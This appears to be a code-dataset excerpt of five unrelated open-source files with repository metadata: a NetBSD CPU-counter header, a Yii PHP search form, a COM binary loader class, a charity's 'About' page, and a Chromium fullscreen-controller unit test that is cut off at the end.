Description Text */ .desctext { color: #F2BA3E; text-decoration: none; }
bsd-3-clause
MarginC/kame
netbsd/sys/arch/amd64/include/cpu_counter.h
2499
/* $NetBSD: cpu_counter.h,v 1.1 2003/04/26 18:39:39 fvdl Exp $ */ /*- * Copyright (c) 2000 The NetBSD Foundation, Inc. * All rights reserved. * * This code is derived from software contributed to The NetBSD Foundation * by Bill Sommerfeld. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by the NetBSD * Foundation, Inc. and its contributors. * 4. Neither the name of The NetBSD Foundation nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #ifndef _AMD64_CPU_COUNTER_H_ #define _AMD64_CPU_COUNTER_H_ #ifdef _KERNEL /* * Machine-specific support for CPU counter. */ #include <machine/cpufunc.h> #define cpu_hascounter() (1) static __inline uint64_t cpu_counter(void) { return (rdtsc()); } static __inline uint32_t cpu_counter32(void) { return (rdtsc() & 0xffffffffUL); } static __inline uint64_t cpu_frequency(struct cpu_info *ci) { return (ci->ci_tsc_freq); } #endif /* _KERNEL */ #endif /* !_AMD64_CPU_COUNTER_H_ */
bsd-3-clause
baccaglini/labvet
views/clinica-fone/_search.php
822
<?php use yii\helpers\Html; use yii\widgets\ActiveForm; /* @var $this yii\web\View */ /* @var $model app\models\ClinicaFoneSearch */ /* @var $form yii\widgets\ActiveForm */ ?> <div class="clinica-fone-search"> <?php $form = ActiveForm::begin([ 'action' => ['index'], 'method' => 'get', ]); ?> <?= $form->field($model, 'clinica') ?> <?= $form->field($model, 'sequencia') ?> <?= $form->field($model, 'principal') ?> <?= $form->field($model, 'fone') ?> <?= $form->field($model, 'obs') ?> <?php // echo $form->field($model, 'ativo') ?> <div class="form-group"> <?= Html::submitButton('Search', ['class' => 'btn btn-primary']) ?> <?= Html::resetButton('Reset', ['class' => 'btn btn-default']) ?> </div> <?php ActiveForm::end(); ?> </div>
bsd-3-clause
turboencabulator/boomerang
loader/ComBinaryFile.h
1055
/** * \file * \brief Contains the definition of the class ComBinaryFile. * * \copyright * See the file "LICENSE.TERMS" for information on usage and redistribution of * this file, and for a DISCLAIMER OF ALL WARRANTIES. */ #ifndef COMBINARYFILE_H #define COMBINARYFILE_H #include "BinaryFile.h" /** * \brief Loader for COM executable files. */ class ComBinaryFile : public BinaryFile { public: ComBinaryFile(); ~ComBinaryFile() override; LOADFMT getFormat() const override { return LOADFMT_COM; } MACHINE getMachine() const override { return MACHINE_PENTIUM; } /** * \name Analysis functions * \{ */ std::optional<ADDRESS> getMainEntryPoint() override; std::optional<ADDRESS> getEntryPoint() const override; /** \} */ protected: bool load(std::istream &) override; private: uint8_t *m_pImage = nullptr; ///< Pointer to image. //ADDRESS m_uInitPC; ///< Initial program counter. //ADDRESS m_uInitSP; ///< Initial stack pointer. }; #endif
bsd-3-clause
straight-street/straight-street
Helpfiles/about.php
4326
<? $_in_help_content_page=True; include('../_header.php'); ?> <div > <h1>About</h1> <h2><a name="history"></a>History</h2> <p>Paxtoncrafts Charitable Trust was formed in 2000 after a favourite uncle suffered a stroke, robbing him of his speech and the ability to read and write. His intellect was unimpaired, but he found it very frustrating being unable to communicate to friends and family. </p> <p>Several of our family had careers in the IT industry so we were surprised to discover that technology at this time was of little help. Communication devices were available, but very expensive, which meant speech and language therapists rarely encountered them and had little knowledge of this area. Nor was there any formal assessment process that would show whether a particular device was suitable. </p> <p>Therapists had low expectations of Uncle Ray's future ability to communicate but this was more about the lack of tools and options at their disposal, and not his potential or motivation.</p> <p>He resigned himself, good-naturedly, in his final few years to communicating with us in his own form of sign language.</p> <p>In recognising this to be a nationwide, even global problem, it seemed appropriate to do some thing about it. Garry and Liz Paxton, as committed Christians, formed the charity in order to address this need, with Garry leaving his IT career to move full time into the field of Augmentative and Alternative Communication. </p> <p>Supported by trustees and volunteers with specialist skills in the special needs sector, many bespoke speech and communication programs were created for elderly patients who had suffered a stroke (and had been referred to us by our local speech and language department) while our work at Southview Special school in Essex resulted in our working alongside youngsters with conditions such as cerebral palsy. We developed communication tools related to their social communication needs but additionally the curriculum requirements for each Key Stage in dialogue with teaching staff.</p> <p>We have also worked closely with the Revival Centre, a children's rehabilitation centre in Ukraine, which is 50 miles from the site of the Chernobyl nuclear disaster. Two thousand children a year are treated here, many born with disabilities arising from the radiation their parents acquired in 1986. Working with neurologists, we have developed a system for producing communication charts for the children which they can take home (few people can afford PCs or communication devices). The same team in Ukraine has now implemented this at the main geriatric hospital in Chernigiv, where adult stroke patients take home their own tailored communication book. The intention is to implement this across all relevant Ukrainian hospitals</p> <p>Straight Street Ltd was formed to own the IPR and copyright of all the charity's computer products. While all our computer programs are free, we found we often had to buy a symbol set on behalf of each client. The lack of a free symbol set became an obstacle to sharing our products more widely as this is a huge expense for a small charity, limiting the numbers of people we could reach. </p> <p>This, combined with the increasing bureaucracy required to run a UK Registered charity, the Trustees decided in 2007 that the wider work of the charity (which focussed on helping individuals locally) would be wound down. Instead, following a substantial grant, all our efforts would be concentrated on developing the symbol set, which we believe will have a much wider reach and a global impact. Our symbol set is now being translated into other languages. </p> <h2><a name="funding"></a>Our Funding</h2> <p>To make our products free, we decided to set up Paxtoncrafts Charitable Trust and obtain grants to fund our work. The development of a symbol set is time-consuming and costly, but other providers of symbol sets use the traditional approach of setting up a business and selling the symbols to fund the development.</p> <p>If you wish to make a contribution to our efforts, please <a href="/contact.php?subject=Donation">contact us</a> the Trustees at</p> <p> </p> <a href='../help.php'>Back to Help page</a> </div> </div> <? include('../_footer.php'); ?>
bsd-3-clause
zcbenz/cefode-chromium
chrome/browser/ui/fullscreen/fullscreen_controller_state_unittest.cc
21739
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "build/build_config.h" #include "chrome/browser/ui/browser.h" #include "chrome/browser/ui/browser_tabstrip.h" #include "chrome/browser/ui/fullscreen/fullscreen_controller.h" #include "chrome/browser/ui/fullscreen/fullscreen_controller_state_test.h" #include "chrome/test/base/browser_with_test_window_test.h" #include "content/public/browser/web_contents.h" #include "content/public/common/url_constants.h" #include "testing/gtest/include/gtest/gtest.h" // The FullscreenControllerStateUnitTest unit test suite exhastively tests // the FullscreenController through all permutations of events. The behavior // of the BrowserWindow is mocked via FullscreenControllerTestWindow. // // FullscreenControllerStateInteractiveTest is an interactive test suite // used to verify that the FullscreenControllerTestWindow models the behavior // of actual windows accurately. The interactive tests are too flaky to run // on infrastructure, and so those tests are disabled. Run them with: // interactive_ui_tests // --gtest_filter="FullscreenControllerStateInteractiveTest.*" // --gtest_also_run_disabled_tests // A BrowserWindow used for testing FullscreenController. ---------------------- class FullscreenControllerTestWindow : public TestBrowserWindow { public: // Simulate the window state with an enumeration. enum WindowState { NORMAL, FULLSCREEN, // No TO_ state for METRO_SNAP, the windows implementation is synchronous. METRO_SNAP, TO_NORMAL, TO_FULLSCREEN, }; FullscreenControllerTestWindow(); virtual ~FullscreenControllerTestWindow() {} // BrowserWindow Interface: virtual void EnterFullscreen(const GURL& url, FullscreenExitBubbleType type) OVERRIDE; virtual void EnterFullscreen(); virtual void ExitFullscreen() OVERRIDE; virtual bool IsFullscreen() const OVERRIDE; #if defined(OS_WIN) virtual void SetMetroSnapMode(bool enable) OVERRIDE; virtual bool IsInMetroSnapMode() const OVERRIDE; #endif #if defined(OS_MACOSX) virtual void EnterFullscreenWithChrome() OVERRIDE; virtual bool IsFullscreenWithChrome() OVERRIDE; virtual bool IsFullscreenWithoutChrome() OVERRIDE; #endif static const char* GetWindowStateString(WindowState state); WindowState state() const { return state_; } void set_browser(Browser* browser) { browser_ = browser; } void set_reentrant(bool value) { reentrant_ = value; } bool reentrant() const { return reentrant_; } // Simulates the window changing state. void ChangeWindowFullscreenState(); // Calls ChangeWindowFullscreenState() if |reentrant_| is true. void ChangeWindowFullscreenStateIfReentrant(); private: WindowState state_; bool mac_with_chrome_mode_; Browser* browser_; // Causes reentrant calls to be made by calling // browser_->WindowFullscreenStateChanged() from the BrowserWindow // interface methods. bool reentrant_; }; FullscreenControllerTestWindow::FullscreenControllerTestWindow() : state_(NORMAL), mac_with_chrome_mode_(false), browser_(NULL), reentrant_(false) { } void FullscreenControllerTestWindow::EnterFullscreen( const GURL& url, FullscreenExitBubbleType type) { EnterFullscreen(); } void FullscreenControllerTestWindow::EnterFullscreen() { mac_with_chrome_mode_ = false; if (!IsFullscreen()) { state_ = TO_FULLSCREEN; ChangeWindowFullscreenStateIfReentrant(); } } void FullscreenControllerTestWindow::ExitFullscreen() { if (IsFullscreen()) { state_ = TO_NORMAL; mac_with_chrome_mode_ = false; ChangeWindowFullscreenStateIfReentrant(); } } bool FullscreenControllerTestWindow::IsFullscreen() const { #if defined(OS_MACOSX) return state_ == FULLSCREEN || state_ == TO_FULLSCREEN; #else return state_ == FULLSCREEN || state_ == TO_NORMAL; #endif } #if defined(OS_WIN) void FullscreenControllerTestWindow::SetMetroSnapMode(bool enable) { if (enable != IsInMetroSnapMode()) { if (enable) state_ = METRO_SNAP; else state_ = NORMAL; } ChangeWindowFullscreenStateIfReentrant(); } bool FullscreenControllerTestWindow::IsInMetroSnapMode() const { return state_ == METRO_SNAP; } #endif #if defined(OS_MACOSX) void FullscreenControllerTestWindow::EnterFullscreenWithChrome() { EnterFullscreen(); mac_with_chrome_mode_ = true; } bool FullscreenControllerTestWindow::IsFullscreenWithChrome() { return IsFullscreen() && mac_with_chrome_mode_; } bool FullscreenControllerTestWindow::IsFullscreenWithoutChrome() { return IsFullscreen() && !mac_with_chrome_mode_; } #endif // static const char* FullscreenControllerTestWindow::GetWindowStateString( WindowState state) { switch (state) { case NORMAL: return "NORMAL"; case FULLSCREEN: return "FULLSCREEN"; case METRO_SNAP: return "METRO_SNAP"; case TO_FULLSCREEN: return "TO_FULLSCREEN"; case TO_NORMAL: return "TO_NORMAL"; default: NOTREACHED() << "No string for state " << state; return "WindowState-Unknown"; } } void FullscreenControllerTestWindow::ChangeWindowFullscreenState() { // Several states result in "no operation" intentionally. The tests // assume that all possible states and event pairs can be tested, even // though window managers will not generate all of these. switch (state_) { case NORMAL: break; case FULLSCREEN: break; case METRO_SNAP: break; case TO_FULLSCREEN: state_ = FULLSCREEN; break; case TO_NORMAL: state_ = NORMAL; break; default: NOTREACHED(); } // Emit a change event from every state to ensure the Fullscreen Controller // handles it in all circumstances. browser_->WindowFullscreenStateChanged(); } void FullscreenControllerTestWindow::ChangeWindowFullscreenStateIfReentrant() { if (reentrant_) ChangeWindowFullscreenState(); } // Unit test fixture testing Fullscreen Controller through its states. --------- class FullscreenControllerStateUnitTest : public BrowserWithTestWindowTest, public FullscreenControllerStateTest { public: FullscreenControllerStateUnitTest(); // FullscreenControllerStateTest: virtual void SetUp() OVERRIDE; virtual void ChangeWindowFullscreenState() OVERRIDE; virtual const char* GetWindowStateString() OVERRIDE; virtual void VerifyWindowState() OVERRIDE; protected: // FullscreenControllerStateTest: virtual bool ShouldSkipStateAndEventPair(State state, Event event) OVERRIDE; virtual void TestStateAndEvent(State state, Event event, bool reentrant) OVERRIDE; virtual Browser* GetBrowser() OVERRIDE; FullscreenControllerTestWindow* window_; }; FullscreenControllerStateUnitTest::FullscreenControllerStateUnitTest () : window_(NULL) { } void FullscreenControllerStateUnitTest::SetUp() { window_ = new FullscreenControllerTestWindow(); set_window(window_); // BrowserWithTestWindowTest takes ownership. BrowserWithTestWindowTest::SetUp(); window_->set_browser(browser()); } void FullscreenControllerStateUnitTest::ChangeWindowFullscreenState() { window_->ChangeWindowFullscreenState(); } const char* FullscreenControllerStateUnitTest::GetWindowStateString() { return FullscreenControllerTestWindow::GetWindowStateString(window_->state()); } void FullscreenControllerStateUnitTest::VerifyWindowState() { switch (state_) { case STATE_NORMAL: EXPECT_EQ(FullscreenControllerTestWindow::NORMAL, window_->state()) << GetAndClearDebugLog(); break; case STATE_BROWSER_FULLSCREEN_NO_CHROME: EXPECT_EQ(FullscreenControllerTestWindow::FULLSCREEN, window_->state()) << GetAndClearDebugLog(); break; case STATE_BROWSER_FULLSCREEN_WITH_CHROME: EXPECT_EQ(FullscreenControllerTestWindow::FULLSCREEN, window_->state()) << GetAndClearDebugLog(); break; #if defined(OS_WIN) case STATE_METRO_SNAP: EXPECT_EQ(FullscreenControllerTestWindow::METRO_SNAP, window_->state()) << GetAndClearDebugLog(); break; #endif case STATE_TAB_FULLSCREEN: EXPECT_EQ(FullscreenControllerTestWindow::FULLSCREEN, window_->state()) << GetAndClearDebugLog(); break; case STATE_TAB_BROWSER_FULLSCREEN: EXPECT_EQ(FullscreenControllerTestWindow::FULLSCREEN, window_->state()) << GetAndClearDebugLog(); break; case STATE_TAB_BROWSER_FULLSCREEN_CHROME: EXPECT_EQ(FullscreenControllerTestWindow::FULLSCREEN, window_->state()) << GetAndClearDebugLog(); break; case STATE_TO_NORMAL: EXPECT_EQ(FullscreenControllerTestWindow::TO_NORMAL, window_->state()) << GetAndClearDebugLog(); break; case STATE_TO_BROWSER_FULLSCREEN_NO_CHROME: EXPECT_EQ(FullscreenControllerTestWindow::TO_FULLSCREEN, window_->state()) << GetAndClearDebugLog(); break; case STATE_TO_BROWSER_FULLSCREEN_WITH_CHROME: EXPECT_EQ(FullscreenControllerTestWindow::TO_FULLSCREEN, window_->state()) << GetAndClearDebugLog(); break; case STATE_TO_TAB_FULLSCREEN: EXPECT_EQ(FullscreenControllerTestWindow::TO_FULLSCREEN, window_->state()) << GetAndClearDebugLog(); break; default: NOTREACHED() << GetAndClearDebugLog(); } FullscreenControllerStateTest::VerifyWindowState(); } bool FullscreenControllerStateUnitTest::ShouldSkipStateAndEventPair( State state, Event event) { #if defined(OS_MACOSX) // TODO(scheib) Toggle, Window Event, Toggle, Toggle on Mac as exposed by // test *.STATE_TO_NORMAL__TOGGLE_FULLSCREEN runs interactively and exits to // Normal. This doesn't appear to be the desired result, and would add // too much complexity to mimic in our simple FullscreenControllerTestWindow. // http://crbug.com/156968 if ((state == STATE_TO_NORMAL || state == STATE_TO_BROWSER_FULLSCREEN_NO_CHROME || state == STATE_TO_TAB_FULLSCREEN) && event == TOGGLE_FULLSCREEN) return true; #endif return FullscreenControllerStateTest::ShouldSkipStateAndEventPair(state, event); } void FullscreenControllerStateUnitTest::TestStateAndEvent(State state, Event event, bool reentrant) { window_->set_reentrant(reentrant); FullscreenControllerStateTest::TestStateAndEvent(state, event, reentrant); } Browser* FullscreenControllerStateUnitTest::GetBrowser() { return BrowserWithTestWindowTest::browser(); } // Tests ----------------------------------------------------------------------- #define TEST_EVENT_INNER(state, event, reentrant, reentrant_id) \ TEST_F(FullscreenControllerStateUnitTest, \ state##__##event##reentrant_id) { \ AddTab(browser(), GURL(chrome::kAboutBlankURL)); \ ASSERT_NO_FATAL_FAILURE(TestStateAndEvent(state, event, reentrant)) \ << GetAndClearDebugLog(); \ } // Progress of tests can be examined by inserting the following line: // LOG(INFO) << GetAndClearDebugLog(); } #define TEST_EVENT(state, event) \ TEST_EVENT_INNER(state, event, false, ); \ TEST_EVENT_INNER(state, event, true, _Reentrant); // Soak tests: // Tests all states with all permutations of multiple events to detect lingering // state issues that would bleed over to other states. // I.E. for each state test all combinations of events E1, E2, E3. // // This produces coverage for event sequences that may happen normally but // would not be exposed by traversing to each state via TransitionToState(). // TransitionToState() always takes the same path even when multiple paths // exist. TEST_F(FullscreenControllerStateUnitTest, TransitionsForEachState) { // A tab is needed for tab fullscreen. AddTab(browser(), GURL(chrome::kAboutBlankURL)); TestTransitionsForEachState(); // Progress of test can be examined via LOG(INFO) << GetAndClearDebugLog(); } // Individual tests for each pair of state and event: TEST_EVENT(STATE_NORMAL, TOGGLE_FULLSCREEN); TEST_EVENT(STATE_NORMAL, TOGGLE_FULLSCREEN_CHROME); TEST_EVENT(STATE_NORMAL, TAB_FULLSCREEN_TRUE); TEST_EVENT(STATE_NORMAL, TAB_FULLSCREEN_FALSE); #if defined(OS_WIN) TEST_EVENT(STATE_NORMAL, METRO_SNAP_TRUE); TEST_EVENT(STATE_NORMAL, METRO_SNAP_FALSE); #endif TEST_EVENT(STATE_NORMAL, BUBBLE_EXIT_LINK); TEST_EVENT(STATE_NORMAL, BUBBLE_ALLOW); TEST_EVENT(STATE_NORMAL, BUBBLE_DENY); TEST_EVENT(STATE_NORMAL, WINDOW_CHANGE); TEST_EVENT(STATE_BROWSER_FULLSCREEN_NO_CHROME, TOGGLE_FULLSCREEN); TEST_EVENT(STATE_BROWSER_FULLSCREEN_NO_CHROME, TOGGLE_FULLSCREEN_CHROME); TEST_EVENT(STATE_BROWSER_FULLSCREEN_NO_CHROME, TAB_FULLSCREEN_TRUE); TEST_EVENT(STATE_BROWSER_FULLSCREEN_NO_CHROME, TAB_FULLSCREEN_FALSE); #if defined(OS_WIN) TEST_EVENT(STATE_BROWSER_FULLSCREEN_NO_CHROME, METRO_SNAP_TRUE); TEST_EVENT(STATE_BROWSER_FULLSCREEN_NO_CHROME, METRO_SNAP_FALSE); #endif TEST_EVENT(STATE_BROWSER_FULLSCREEN_NO_CHROME, BUBBLE_EXIT_LINK); TEST_EVENT(STATE_BROWSER_FULLSCREEN_NO_CHROME, BUBBLE_ALLOW); TEST_EVENT(STATE_BROWSER_FULLSCREEN_NO_CHROME, BUBBLE_DENY); TEST_EVENT(STATE_BROWSER_FULLSCREEN_NO_CHROME, WINDOW_CHANGE); TEST_EVENT(STATE_BROWSER_FULLSCREEN_WITH_CHROME, TOGGLE_FULLSCREEN); TEST_EVENT(STATE_BROWSER_FULLSCREEN_WITH_CHROME, TOGGLE_FULLSCREEN_CHROME); TEST_EVENT(STATE_BROWSER_FULLSCREEN_WITH_CHROME, TAB_FULLSCREEN_TRUE); TEST_EVENT(STATE_BROWSER_FULLSCREEN_WITH_CHROME, TAB_FULLSCREEN_FALSE); #if defined(OS_WIN) TEST_EVENT(STATE_BROWSER_FULLSCREEN_WITH_CHROME, METRO_SNAP_TRUE); TEST_EVENT(STATE_BROWSER_FULLSCREEN_WITH_CHROME, METRO_SNAP_FALSE); #endif TEST_EVENT(STATE_BROWSER_FULLSCREEN_WITH_CHROME, BUBBLE_EXIT_LINK); TEST_EVENT(STATE_BROWSER_FULLSCREEN_WITH_CHROME, BUBBLE_ALLOW); TEST_EVENT(STATE_BROWSER_FULLSCREEN_WITH_CHROME, BUBBLE_DENY); TEST_EVENT(STATE_BROWSER_FULLSCREEN_WITH_CHROME, WINDOW_CHANGE); #if defined(OS_WIN) TEST_EVENT(STATE_METRO_SNAP, TOGGLE_FULLSCREEN); TEST_EVENT(STATE_METRO_SNAP, TOGGLE_FULLSCREEN_CHROME); TEST_EVENT(STATE_METRO_SNAP, TAB_FULLSCREEN_TRUE); TEST_EVENT(STATE_METRO_SNAP, TAB_FULLSCREEN_FALSE); TEST_EVENT(STATE_METRO_SNAP, METRO_SNAP_TRUE); TEST_EVENT(STATE_METRO_SNAP, METRO_SNAP_FALSE); TEST_EVENT(STATE_METRO_SNAP, BUBBLE_EXIT_LINK); TEST_EVENT(STATE_METRO_SNAP, BUBBLE_ALLOW); TEST_EVENT(STATE_METRO_SNAP, BUBBLE_DENY); TEST_EVENT(STATE_METRO_SNAP, WINDOW_CHANGE); #endif TEST_EVENT(STATE_TAB_FULLSCREEN, TOGGLE_FULLSCREEN); TEST_EVENT(STATE_TAB_FULLSCREEN, TOGGLE_FULLSCREEN_CHROME); TEST_EVENT(STATE_TAB_FULLSCREEN, TAB_FULLSCREEN_TRUE); TEST_EVENT(STATE_TAB_FULLSCREEN, TAB_FULLSCREEN_FALSE); #if defined(OS_WIN) TEST_EVENT(STATE_TAB_FULLSCREEN, METRO_SNAP_TRUE); TEST_EVENT(STATE_TAB_FULLSCREEN, METRO_SNAP_FALSE); #endif TEST_EVENT(STATE_TAB_FULLSCREEN, BUBBLE_EXIT_LINK); TEST_EVENT(STATE_TAB_FULLSCREEN, BUBBLE_ALLOW); TEST_EVENT(STATE_TAB_FULLSCREEN, BUBBLE_DENY); TEST_EVENT(STATE_TAB_FULLSCREEN, WINDOW_CHANGE); TEST_EVENT(STATE_TAB_BROWSER_FULLSCREEN, TOGGLE_FULLSCREEN); TEST_EVENT(STATE_TAB_BROWSER_FULLSCREEN, TOGGLE_FULLSCREEN_CHROME); TEST_EVENT(STATE_TAB_BROWSER_FULLSCREEN, TAB_FULLSCREEN_TRUE); TEST_EVENT(STATE_TAB_BROWSER_FULLSCREEN, TAB_FULLSCREEN_FALSE); #if defined(OS_WIN) TEST_EVENT(STATE_TAB_BROWSER_FULLSCREEN, METRO_SNAP_TRUE); TEST_EVENT(STATE_TAB_BROWSER_FULLSCREEN, METRO_SNAP_FALSE); #endif TEST_EVENT(STATE_TAB_BROWSER_FULLSCREEN, BUBBLE_EXIT_LINK); TEST_EVENT(STATE_TAB_BROWSER_FULLSCREEN, BUBBLE_ALLOW); TEST_EVENT(STATE_TAB_BROWSER_FULLSCREEN, BUBBLE_DENY); TEST_EVENT(STATE_TAB_BROWSER_FULLSCREEN, WINDOW_CHANGE); TEST_EVENT(STATE_TAB_BROWSER_FULLSCREEN_CHROME, TOGGLE_FULLSCREEN); TEST_EVENT(STATE_TAB_BROWSER_FULLSCREEN_CHROME, TOGGLE_FULLSCREEN_CHROME); TEST_EVENT(STATE_TAB_BROWSER_FULLSCREEN_CHROME, TAB_FULLSCREEN_TRUE); TEST_EVENT(STATE_TAB_BROWSER_FULLSCREEN_CHROME, TAB_FULLSCREEN_FALSE); #if defined(OS_WIN) TEST_EVENT(STATE_TAB_BROWSER_FULLSCREEN_CHROME, METRO_SNAP_TRUE); TEST_EVENT(STATE_TAB_BROWSER_FULLSCREEN_CHROME, METRO_SNAP_FALSE); #endif TEST_EVENT(STATE_TAB_BROWSER_FULLSCREEN_CHROME, BUBBLE_EXIT_LINK); TEST_EVENT(STATE_TAB_BROWSER_FULLSCREEN_CHROME, BUBBLE_ALLOW); TEST_EVENT(STATE_TAB_BROWSER_FULLSCREEN_CHROME, BUBBLE_DENY); TEST_EVENT(STATE_TAB_BROWSER_FULLSCREEN_CHROME, WINDOW_CHANGE); TEST_EVENT(STATE_TO_NORMAL, TOGGLE_FULLSCREEN); TEST_EVENT(STATE_TO_NORMAL, TOGGLE_FULLSCREEN_CHROME); TEST_EVENT(STATE_TO_NORMAL, TAB_FULLSCREEN_TRUE); TEST_EVENT(STATE_TO_NORMAL, TAB_FULLSCREEN_FALSE); #if defined(OS_WIN) TEST_EVENT(STATE_TO_NORMAL, METRO_SNAP_TRUE); TEST_EVENT(STATE_TO_NORMAL, METRO_SNAP_FALSE); #endif TEST_EVENT(STATE_TO_NORMAL, BUBBLE_EXIT_LINK); TEST_EVENT(STATE_TO_NORMAL, BUBBLE_ALLOW); TEST_EVENT(STATE_TO_NORMAL, BUBBLE_DENY); TEST_EVENT(STATE_TO_NORMAL, WINDOW_CHANGE); TEST_EVENT(STATE_TO_BROWSER_FULLSCREEN_NO_CHROME, TOGGLE_FULLSCREEN); TEST_EVENT(STATE_TO_BROWSER_FULLSCREEN_NO_CHROME, TOGGLE_FULLSCREEN_CHROME); TEST_EVENT(STATE_TO_BROWSER_FULLSCREEN_NO_CHROME, TAB_FULLSCREEN_TRUE); TEST_EVENT(STATE_TO_BROWSER_FULLSCREEN_NO_CHROME, TAB_FULLSCREEN_FALSE); #if defined(OS_WIN) TEST_EVENT(STATE_TO_BROWSER_FULLSCREEN_NO_CHROME, METRO_SNAP_TRUE); TEST_EVENT(STATE_TO_BROWSER_FULLSCREEN_NO_CHROME, METRO_SNAP_FALSE); #endif TEST_EVENT(STATE_TO_BROWSER_FULLSCREEN_NO_CHROME, BUBBLE_EXIT_LINK); TEST_EVENT(STATE_TO_BROWSER_FULLSCREEN_NO_CHROME, BUBBLE_ALLOW); TEST_EVENT(STATE_TO_BROWSER_FULLSCREEN_NO_CHROME, BUBBLE_DENY); TEST_EVENT(STATE_TO_BROWSER_FULLSCREEN_NO_CHROME, WINDOW_CHANGE); TEST_EVENT(STATE_TO_BROWSER_FULLSCREEN_WITH_CHROME, TOGGLE_FULLSCREEN); TEST_EVENT(STATE_TO_BROWSER_FULLSCREEN_WITH_CHROME, TOGGLE_FULLSCREEN_CHROME); TEST_EVENT(STATE_TO_BROWSER_FULLSCREEN_WITH_CHROME, TAB_FULLSCREEN_TRUE); TEST_EVENT(STATE_TO_BROWSER_FULLSCREEN_WITH_CHROME, TAB_FULLSCREEN_FALSE); #if defined(OS_WIN) TEST_EVENT(STATE_TO_BROWSER_FULLSCREEN_WITH_CHROME, METRO_SNAP_TRUE); TEST_EVENT(STATE_TO_BROWSER_FULLSCREEN_WITH_CHROME, METRO_SNAP_FALSE); #endif TEST_EVENT(STATE_TO_BROWSER_FULLSCREEN_WITH_CHROME, BUBBLE_EXIT_LINK); TEST_EVENT(STATE_TO_BROWSER_FULLSCREEN_WITH_CHROME, BUBBLE_ALLOW); TEST_EVENT(STATE_TO_BROWSER_FULLSCREEN_WITH_CHROME, BUBBLE_DENY); TEST_EVENT(STATE_TO_BROWSER_FULLSCREEN_WITH_CHROME, WINDOW_CHANGE); TEST_EVENT(STATE_TO_TAB_FULLSCREEN, TOGGLE_FULLSCREEN); TEST_EVENT(STATE_TO_TAB_FULLSCREEN, TOGGLE_FULLSCREEN_CHROME); TEST_EVENT(STATE_TO_TAB_FULLSCREEN, TAB_FULLSCREEN_TRUE); TEST_EVENT(STATE_TO_TAB_FULLSCREEN, TAB_FULLSCREEN_FALSE); #if defined(OS_WIN) TEST_EVENT(STATE_TO_TAB_FULLSCREEN, METRO_SNAP_TRUE); TEST_EVENT(STATE_TO_TAB_FULLSCREEN, METRO_SNAP_FALSE); #endif TEST_EVENT(STATE_TO_TAB_FULLSCREEN, BUBBLE_EXIT_LINK); TEST_EVENT(STATE_TO_TAB_FULLSCREEN, BUBBLE_ALLOW); TEST_EVENT(STATE_TO_TAB_FULLSCREEN, BUBBLE_DENY); TEST_EVENT(STATE_TO_TAB_FULLSCREEN, WINDOW_CHANGE); // Specific one-off tests for known issues: // TODO(scheib) Toggling Tab fullscreen while pending Tab or // Browser fullscreen is broken currently http://crbug.com/154196 TEST_F(FullscreenControllerStateUnitTest, DISABLED_ToggleTabWhenPendingBrowser) { #if !defined(OS_WIN) // Only possible without reentrancy AddTab(browser(), GURL(chrome::kAboutBlankURL)); ASSERT_NO_FATAL_FAILURE( TransitionToState(STATE_TO_BROWSER_FULLSCREEN_NO_CHROME)) << GetAndClearDebugLog(); ASSERT_TRUE(InvokeEvent(TAB_FULLSCREEN_TRUE)) << GetAndClearDebugLog(); ASSERT_TRUE(InvokeEvent(TAB_FULLSCREEN_FALSE)) << GetAndClearDebugLog(); ASSERT_TRUE(InvokeEvent(WINDOW_CHANGE)) << GetAndClearDebugLog(); #endif } // TODO(scheib) Toggling Tab fullscreen while pending Tab or // Browser fullscreen is broken currently http://crbug.com/154196 TEST_F(FullscreenControllerStateUnitTest, DISABLED_ToggleTabWhenPendingTab) { #if !defined(OS_WIN) // Only possible without reentrancy AddTab(browser(), GURL(chrome::kAboutBlankURL)); ASSERT_NO_FATAL_FAILURE( TransitionToState(STATE_TO_TAB_FULLSCREEN)) << GetAndClearDebugLog(); ASSERT_TRUE(InvokeEvent(TAB_FULLSCREEN_TRUE)) << GetAndClearDebugLog(); ASSERT_TRUE(InvokeEvent(TAB_FULLSCREEN_FALSE)) << GetAndClearDebugLog(); ASSERT_TRUE(InvokeEvent(WINDOW_CHANGE)) << GetAndClearDebugLog(); #endif } // Debugging utility: Display the transition tables. Intentionally disabled TEST_F(FullscreenControllerStateUnitTest, DISABLED_DebugLogStateTables) { std::ostringstream output; output << "\n\nTransition Table:"; output << GetTransitionTableAsString(); output << "\n\nInitial transitions:"; output << GetStateTransitionsAsString(); // Calculate all transition pairs. for (int state1_int = 0; state1_int < NUM_STATES; state1_int++) { State state1 = static_cast<State>(state1_int); for (int state2_int = 0; state2_int < NUM_STATES; state2_int++) { State state2 = static_cast<State>(state2_int); if (ShouldSkipStateAndEventPair(state1, EVENT_INVALID) || ShouldSkipStateAndEventPair(state2, EVENT_INVALID)) continue; // Compute the transition if (NextTransitionInShortestPath(state1, state2, NUM_STATES).state == STATE_INVALID) { LOG(ERROR) << "Should be skipping state transitions for: " << GetStateString(state1) << " " << GetStateString(state2); } } } output << "\n\nAll transitions:"; output << GetStateTransitionsAsString(); LOG(INFO) 